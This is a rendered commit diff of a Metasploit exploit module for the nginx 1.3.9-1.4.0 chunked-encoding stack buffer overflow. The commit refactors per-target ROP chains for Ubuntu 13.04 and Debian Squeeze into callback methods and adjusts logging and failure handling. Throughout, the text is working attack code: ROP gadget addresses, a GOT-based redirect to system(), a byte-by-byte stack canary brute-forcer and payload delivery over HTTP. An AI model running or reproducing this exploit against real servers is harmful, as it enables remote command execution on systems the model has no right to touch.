8
8
require 'msf/core'
9
9
10
10
class Metasploit4 < Msf ::Exploit ::Remote
11
+
11
12
include Exploit ::Remote ::Tcp
12
- include Msf ::Exploit ::RopDb
13
13
14
14
def initialize ( info = { } )
15
15
16
16
super ( update_info ( info ,
17
17
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow' ,
18
18
'Description' => %q{
19
- This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx. The exploit first triggers
20
- an integer overflow in the ngx_http_parse_chunked() by supplying an overly long hex value as chunked block size.
21
- This value is later used when determining the number of bytes to read into a stack buffer, thus the overflow becomes possible.
19
+ This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
20
+ The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
21
+ supplying an overly long hex value as chunked block size. This value is later used
22
+ when determining the number of bytes to read into a stack buffer, thus the overflow
23
+ becomes possible.
22
24
} ,
23
25
'Author' =>
24
26
[
25
27
'Greg MacManus' , # original discovery
26
- 'hal' , # exploit development
27
- 'saelo' # exploit development
28
- ] ,
28
+ 'hal' , # Metasploit module
29
+ 'saelo' # Metasploit module
30
+ ] ,
29
31
'DisclosureDate' => 'May 07 2013' ,
30
32
'License' => MSF_LICENSE ,
31
33
'References' =>
@@ -40,88 +42,23 @@ def initialize(info = {})
40
42
{
41
43
'BadChars' => "\x0d \x0a " ,
42
44
} ,
45
+ 'Arch' => ARCH_CMD ,
46
+ 'Platform' => 'unix' ,
43
47
'Targets' =>
44
48
[
45
- [
46
- 'Ubuntu 13.04 32bit - nginx 1.4.0' ,
47
- {
48
- 'Arch' => ARCH_CMD ,
49
- 'Ropname' => 'Ubuntu 13.04' ,
50
- 'Platform' => 'unix' ,
51
- 'CanaryOffset' => 5050 ,
52
- 'Offset' => 12 ,
53
- 'Writable' => 0x080c7330 ,
54
- 'Rop' => {
55
- 'store' => {
56
- 'address_offset' => 1 ,
57
- 'value_offset' => 3 ,
58
- 'chain' => [
59
- 0x0804c415 , # pop ecx ; add al, 29h ; ret
60
- 0x00000000 , # address
61
- 0x080b9a38 , # pop eax ; ret
62
- 0x00000000 , # value
63
- 0x080a9dce , # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
64
- ] ,
65
- } ,
66
-
67
- 'dereference' => {
68
- 'writable_offset' => 7 ,
69
- 'chain' => [
70
- 0x08094129 , # pop esi; ret
71
- 0x080c5090 , # GOT for localtime_r
72
- 0x0804c415 , # pop ecx ; add al, 29h ; ret
73
- 0x001a4b00 , # Offset to system
74
- 0x080c360a , # add ecx, [esi] ; adc al, 41h ; ret
75
- 0x08076f63 , # push ecx ; add al, 39h ; ret
76
- 0x41414141 , # Garbage return address
77
- 0x00000000 , # ptr to .data where contents have been stored
78
- ] ,
79
- }
80
- }
81
- }
82
- ] ,
83
-
84
- [
85
- 'Debian Squeeze 32bit - nginx 1.4.0' ,
86
- {
87
- 'Arch' => ARCH_CMD ,
88
- 'Ropname' => 'Debian Squeeze' ,
89
- 'Platform' => 'unix' ,
90
- 'Offset' => 5130 ,
91
- 'Writable' => 0x080b4360 ,
92
- 'Rop' => {
93
- 'store' => {
94
- 'address_offset' => 3 ,
95
- 'value_offset' => 1 ,
96
- 'chain' => [
97
- 0x08050d93 , # pop edx ; add al 0x83 ; ret
98
- 0x00000000 , # value
99
- 0x08067330 , # pop eax ; ret
100
- 0x00000000 , # address
101
- 0x08070e94 , # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
102
- 0x41414141 , # ebp
103
- ] ,
104
- } ,
105
-
106
- 'dereference' => {
107
- 'writable_offset' => 8 ,
108
- 'chain' => [
109
- 0x0804ab34 , # pop edi ; pop ebp ; ret
110
- 0x080B4128 -
111
- 0x5d5b14c4 , # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
112
- 0x41414141 , # padding (ebp)
113
- 0x08093c75 , # mov ebx, edi ; dec ecx ; ret
114
- 0x08067330 , # pop eax # ret
115
- 0xfffb0c80 , # offset
116
- 0x08078a46 , # add eax, [ebx+0x5d5b14c4] # ret
117
- 0x0804a3af , # call eax # system
118
- 0x00000000 # ptr to .data where contents have been stored
119
- ] ,
120
- }
121
- }
122
- }
123
- ] ,
124
-
49
+ [ 'Ubuntu 13.04 32bit - nginx 1.4.0' , {
50
+ 'CanaryOffset' => 5050 ,
51
+ 'Offset' => 12 ,
52
+ 'Writable' => 0x080c7330 , # .data from nginx
53
+ :dereference_got_callback => :dereference_got_ubuntu_1304 ,
54
+ :store_callback => :store_ubuntu_1304 ,
55
+ } ] ,
56
+ [ 'Debian Squeeze 32bit - nginx 1.4.0' , {
57
+ 'Offset' => 5130 ,
58
+ 'Writable' => 0x080b4360 , # .data from nginx
59
+ :dereference_got_callback => :dereference_got_debian_squeeze ,
60
+ :store_callback => :store_debian_squeeze
61
+ } ] ,
125
62
] ,
126
63
127
64
'DefaultTarget' => 0
@@ -133,14 +70,16 @@ def initialize(info = {})
133
70
134
71
register_advanced_options (
135
72
[
136
- OptInt . new ( "CANARY" , [ false , "Use this value as stack canary instead of brute forcing it" , 0xffffffff ] ) ,
73
+ OptInt . new ( "CANARY" , [ false , "Use this value as stack canary instead of brute forcing it" , 0xffffffff ] ) ,
137
74
] , self . class )
138
75
139
76
end
140
77
141
- def check
142
- @peer = "#{ rhost } :#{ rport } "
78
+ def peer
79
+ "#{ rhost } :#{ rport } "
80
+ end
143
81
82
+ def check
144
83
begin
145
84
res = send_request_fixed ( nil )
146
85
@@ -151,11 +90,10 @@ def check
151
90
end
152
91
153
92
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
154
- print_error ( "#{ @ peer} - Connection failed" )
93
+ print_error ( "#{ peer } - Connection failed" )
155
94
end
156
95
157
96
return Exploit ::CheckCode ::Unknown
158
-
159
97
end
160
98
161
99
#
@@ -167,6 +105,7 @@ def random_chunk_size(bytes=16)
167
105
end
168
106
169
107
def send_request_fixed ( data )
108
+
170
109
connect
171
110
172
111
request = "GET / HTTP/1.1\r \n "
@@ -187,7 +126,60 @@ def send_request_fixed(data)
187
126
188
127
disconnect
189
128
return res
129
+ end
130
+
131
+ def store_ubuntu_1304 ( address , value )
132
+ chain = [
133
+ 0x0804c415 , # pop ecx ; add al, 29h ; ret
134
+ address , # address
135
+ 0x080b9a38 , # pop eax ; ret
136
+ value . unpack ( 'V' ) . first , # value
137
+ 0x080a9dce , # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
138
+ ]
139
+ return chain . pack ( 'V*' )
140
+ end
141
+
142
+ def dereference_got_ubuntu_1304
143
+ chain = [
144
+ 0x08094129 , # pop esi; ret
145
+ 0x080c5090 , # GOT for localtime_r
146
+ 0x0804c415 , # pop ecx ; add al, 29h ; ret
147
+ 0x001a4b00 , # Offset to system
148
+ 0x080c360a , # add ecx, [esi] ; adc al, 41h ; ret
149
+ 0x08076f63 , # push ecx ; add al, 39h ; ret
150
+ 0x41414141 , # Garbage return address
151
+ target [ 'Writable' ] , # ptr to .data where contents have been stored
152
+ ]
153
+ return chain . pack ( 'V*' )
154
+ end
155
+
156
+ def store_debian_squeeze ( address , value )
157
+ chain = [
158
+ 0x08050d93 , # pop edx ; add al 0x83 ; ret
159
+ value . unpack ( 'V' ) . first , # value
160
+ 0x08067330 , # pop eax ; ret
161
+ address , # address
162
+ 0x08070e94 , # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
163
+ 0x41414141 , # ebp
164
+ ]
165
+
166
+ return chain . pack ( 'V*' )
167
+ end
190
168
169
+ def dereference_got_debian_squeeze
170
+ chain = [
171
+ 0x0804ab34 , # pop edi ; pop ebp ; ret
172
+ 0x080B4128 -
173
+ 0x5d5b14c4 , # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
174
+ 0x41414141 , # padding (ebp)
175
+ 0x08093c75 , # mov ebx, edi ; dec ecx ; ret
176
+ 0x08067330 , # pop eax # ret
177
+ 0xfffb0c80 , # offset
178
+ 0x08078a46 , # add eax, [ebx+0x5d5b14c4] # ret
179
+ 0x0804a3af , # call eax # system
180
+ target [ 'Writable' ] # ptr to .data where contents have been stored
181
+ ]
182
+ return chain . pack ( "V*" )
191
183
end
192
184
193
185
def store ( buf , address , value )
@@ -199,17 +191,20 @@ def store(buf, address, value)
199
191
end
200
192
201
193
def dereference_got
194
+
195
+ unless self . respond_to? ( target [ :store_callback ] ) and self . respond_to? ( target [ :dereference_got_callback ] )
196
+ fail_with ( Exploit ::Failure ::NoTarget , "Invalid target specified: no callback functions defined" )
197
+ end
198
+
202
199
buf = ""
203
200
command = payload . encoded
204
201
i = 0
205
202
while i < command . length
206
- store ( buf , target [ 'Writable' ] + i , command [ i , 4 ] . ljust ( 4 , ";" ) )
203
+ buf << self . send ( target [ :store_callback ] , target [ 'Writable' ] + i , command [ i , 4 ] . ljust ( 4 , ";" ) )
207
204
i = i + 4
208
205
end
209
206
210
- chain = target [ 'Rop' ] [ 'dereference' ] [ 'chain' ]
211
- chain [ target [ 'Rop' ] [ 'dereference' ] [ 'writable_offset' ] ] = target [ 'Writable' ]
212
- buf << chain . pack ( "V*" )
207
+ buf << self . send ( target [ :dereference_got_callback ] )
213
208
214
209
return buf
215
210
end
@@ -218,26 +213,25 @@ def exploit
218
213
data = random_chunk_size ( 1024 )
219
214
220
215
if target [ 'CanaryOffset' ] . nil?
221
- data << Rex ::Text . pattern_create ( target [ 'Offset' ] - data . size )
216
+ data << Rex ::Text . rand_text_alpha ( target [ 'Offset' ] - data . size )
222
217
else
223
218
224
219
if not datastore [ 'CANARY' ] == 0xffffffff
225
- print_status ( "Using 0x%08x as stack canary" % datastore [ 'CANARY' ] )
220
+ print_status ( "#{ peer } - Using 0x%08x as stack canary" % datastore [ 'CANARY' ] )
221
+ canary = datastore [ 'CANARY' ]
226
222
else
227
- print_status ( "Searching for stack canary" )
223
+ print_status ( "#{ peer } - Searching for stack canary" )
228
224
canary = find_canary
229
225
230
- if canary . nil? or canary == 0x00000000
231
- print_error ( "Unable to find stack canary. Quiting" )
232
- return
226
+ if canary . nil? || canary == 0x00000000
227
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Unable to find stack canary" )
233
228
else
234
- print_status ( "Canary found: 0x%08x\n " % canary )
235
- datastore [ 'CANARY' ] = canary
229
+ print_good ( "#{ peer } - Canary found: 0x%08x\n " % canary )
236
230
end
237
231
end
238
232
239
233
data << Rex ::Text . rand_text_alpha ( target [ 'CanaryOffset' ] - data . size )
240
- data << [ datastore [ 'CANARY' ] ] . pack ( 'V' )
234
+ data << [ canary ] . pack ( 'V' )
241
235
data << Rex ::Text . rand_text_hex ( target [ 'Offset' ] )
242
236
243
237
end
@@ -253,13 +247,14 @@ def exploit
253
247
end
254
248
255
249
def find_canary
256
-
257
250
# First byte of the canary is already known
258
251
canary = "\x00 "
259
252
253
+ print_status ( "#{ peer } - Assuming byte 0 0x%02x" % 0x00 )
254
+
260
255
# We are going to bruteforce the next 3 bytes one at a time
261
256
3 . times do |c |
262
- print_status ( "Bruteforcing byte #{ c + 1 } " )
257
+ print_status ( "#{ peer } - Bruteforcing byte #{ c + 1 } " )
263
258
264
259
0 . upto ( 255 ) do |i |
265
260
data = random_chunk_size ( 1024 )
@@ -268,7 +263,7 @@ def find_canary
268
263
data << i . chr
269
264
270
265
unless send_request_fixed ( data ) . nil?
271
- print_status ( " Byte #{ c + 1 } found: 0x%02x\n " % i )
266
+ print_good ( " #{ peer } - Byte #{ c + 1 } found: 0x%02x" % i )
272
267
canary << i . chr
273
268
break
274
269
end
0 commit comments